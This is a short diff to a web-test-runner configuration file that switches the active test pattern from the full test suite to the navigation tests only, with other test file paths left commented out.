--- a/web-test-runner.config.mjs
+++ b/web-test-runner.config.mjs
@@ -1,6 +1,6 @@
 export default {
-  files: 'test/**/*.test.js',
-  // files: 'test/navigation/*.test.js',
+  // files: 'test/**/*.test.js',
+  files: 'test/navigation/*.test.js',
   // files: 'test/elements/ApiSecurityDocumentElement.test.js',
   // files: [
   //   'test/elements/ApiSecurityRequirementDocumentElement.test.js',